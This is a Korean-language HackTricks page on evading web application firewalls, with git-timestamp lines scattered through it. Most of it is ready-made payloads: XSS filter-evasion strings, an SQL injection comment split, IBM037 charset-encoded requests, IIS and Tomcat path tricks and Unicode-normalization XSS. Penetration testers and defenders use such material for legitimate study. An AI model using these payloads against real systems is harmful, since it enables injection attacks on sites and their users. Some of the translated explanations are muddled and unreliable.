2024-02-10 21:30:13 +00:00
# WAF 우회
2022-06-22 22:03:55 +00:00
< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요< strong > !< / strong > < / summary >
2022-06-22 22:03:55 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:24:39 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요. 독점적인 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션입니다.
* 💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**를** **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-06-22 22:03:55 +00:00
< / details >
2024-02-10 21:30:13 +00:00
## 정규식 우회
2023-06-01 03:00:55 +00:00
2024-02-10 21:30:13 +00:00
다양한 기법을 사용하여 방화벽의 정규식 필터를 우회할 수 있습니다. 대소문자 교대, 줄 바꿈 추가, 페이로드 인코딩 등의 예가 있습니다. 다양한 우회 기법에 대한 자료는 [PayloadsAllTheThings ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads )와 [OWASP ](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html )에서 찾을 수 있습니다. 아래 예시는 [이 기사 ](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2 )에서 가져왔습니다.
2022-06-22 22:03:55 +00:00
```bash
2023-06-01 03:00:55 +00:00
< sCrIpT > alert ( XSS )</ sCriPt > #changing the case of the tag
< < script > alert ( XSS )</ script > #prepending an additional "< "
< script > alert(XSS) // #removing the closing tag
< script > alert `XSS` </ script > #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
< iframe src = http://malicous.com < #double open angle brackets
< STYLE >. classname { background-image : url ( "javascript:alert(XSS)" );}</ STYLE > #uncommon tags
< img / src = 1/onerror=alert(0) > #bypass space filter by using / where a space is expected
< a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href = javascript:alert(1) > xss</ a > #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
< iframe src = "javascript:alert(`xss`)" > #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
2024-02-10 21:30:13 +00:00
< a src = "%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)" > #Using Line Feed (LF) line breaks
2023-06-01 03:00:55 +00:00
< BODY onload !#$%&()*~+ -_ ., : ;?@[/| \]^`= confirm () > # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
2024-02-10 21:30:13 +00:00
## 문자 집합 인코딩
WAF는 웹 응용 프로그램 방화벽을 의미하며, 웹 애플리케이션의 보안을 강화하기 위해 사용됩니다. WAF는 일반적으로 웹 요청을 분석하고, 악성 행위를 탐지하고 차단하는 데 사용됩니다. 그러나 WAF는 종종 문자 집합 인코딩을 사용하여 악성 페이로드를 탐지하고 차단할 수 있습니다.
2022-06-22 22:03:55 +00:00
2024-02-10 21:30:13 +00:00
문자 집합 인코딩은 문자를 컴퓨터에서 사용할 수 있는 형식으로 변환하는 프로세스입니다. 일부 WAF는 특정 문자 집합을 차단하거나 허용하는 데 사용될 수 있습니다. 이를 통해 WAF는 악성 페이로드를 탐지하고 차단할 수 있습니다.
2023-06-01 03:00:55 +00:00
2024-02-10 21:30:13 +00:00
WAF 우회를 위해 문자 집합 인코딩을 사용할 수 있습니다. 이를 통해 악성 페이로드를 변형하여 WAF의 탐지를 피할 수 있습니다. 일반적으로 URL 인코딩, 유니코드 인코딩, HTML 엔티티 인코딩 등이 사용됩니다.
문자 집합 인코딩은 WAF 우회 기술 중 하나이며, 특정 WAF 구현에 따라 효과적일 수 있습니다. 그러나 모든 WAF에서 동작하지는 않으며, WAF 우회를 위해 다른 기술과 조합하여 사용하는 것이 좋습니다.
2023-06-01 03:00:55 +00:00
```bash
2022-06-22 22:03:55 +00:00
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
2024-02-10 21:30:13 +00:00
print(urllib.parse.quote_plus(s.encode("IBM037")))
2022-06-22 22:03:55 +00:00
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3& x=L%A7n
```
2024-02-10 21:30:13 +00:00
## 난독화
Obfuscation(난독화)은 웹 응용 프로그램에서 사용되는 일반적인 WAF(Web Application Firewall) 우회 기술 중 하나입니다. 이 기술은 공격자가 공격 코드를 감지 및 차단하는 WAF를 우회하기 위해 코드를 변형시키는 것을 목표로 합니다.
2022-06-22 22:03:55 +00:00
2024-02-10 21:30:13 +00:00
난독화는 다양한 방법으로 수행될 수 있습니다. 일반적인 기술로는 변수 및 함수 이름의 변경, 코드의 재정렬, 불필요한 공백 및 주석 제거 등이 있습니다. 이러한 변형은 코드를 읽기 어렵게 만들어 WAF가 공격 코드를 감지하기 어렵게 합니다.
2023-06-01 03:00:55 +00:00
2024-02-10 21:30:13 +00:00
난독화는 주로 JavaScript 코드에서 사용되며, 주로 웹 응용 프로그램에서 사용되는 클라이언트 측 스크립트에 적용됩니다. 이를 통해 공격자는 WAF를 우회하고 악성 코드를 실행할 수 있습니다.
난독화는 WAF 우회를 위한 효과적인 기술 중 하나이지만, 완벽한 보안을 제공하지는 않습니다. 고급 WAF는 난독화된 코드를 분석하고 감지할 수 있을 수도 있습니다. 따라서 공격자는 다른 우회 기술과 함께 난독화를 사용하는 것이 좋습니다.
2023-06-01 03:00:55 +00:00
```bash
# IIS, ASP Clasic
< %s%cr%u0131pt> == < script >
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
2024-02-10 21:30:13 +00:00
## 유니코드 호환성
2023-06-01 03:00:55 +00:00
2024-02-10 21:30:13 +00:00
유니코드 정규화의 구현에 따라 (자세한 내용은 [여기 ](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode )에서 확인 가능), 유니코드 호환성을 공유하는 문자는 WAF를 우회하고 의도한 페이로드로 실행될 수 있습니다. 호환 가능한 문자는 [여기 ](https://www.compart.com/en/unicode )에서 찾을 수 있습니다.
2023-06-01 03:00:55 +00:00
2024-02-10 21:30:13 +00:00
### 예제
2023-06-01 03:00:55 +00:00
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
< img src⁼p onerror⁼' prompt⁽1⁾' ﹥ --> < img src=p onerror='prompt(1)'>
```
2024-02-10 21:30:13 +00:00
## 크기 제한 초과
2023-06-01 03:00:55 +00:00
2024-02-10 21:30:13 +00:00
클라우드 기반 WAF에서는 페이로드가 X 크기보다 큰 경우, 요청이 WAF에 의해 확인되지 않을 수 있습니다. 이를 이용하여 간단히 우회할 수 있습니다.
2022-06-22 22:03:55 +00:00
2024-02-10 21:30:13 +00:00
### IP 회전
2023-12-24 18:15:27 +00:00
* [https://github.com/rootcathacking/catspin ](https://github.com/rootcathacking/catspin )
2022-06-22 22:03:55 +00:00
< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요< strong > !< / strong > < / summary >
2022-06-22 22:03:55 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:24:39 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요. 독점적인 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션입니다.
* 💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )을 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
2022-06-22 22:03:55 +00:00
< / details >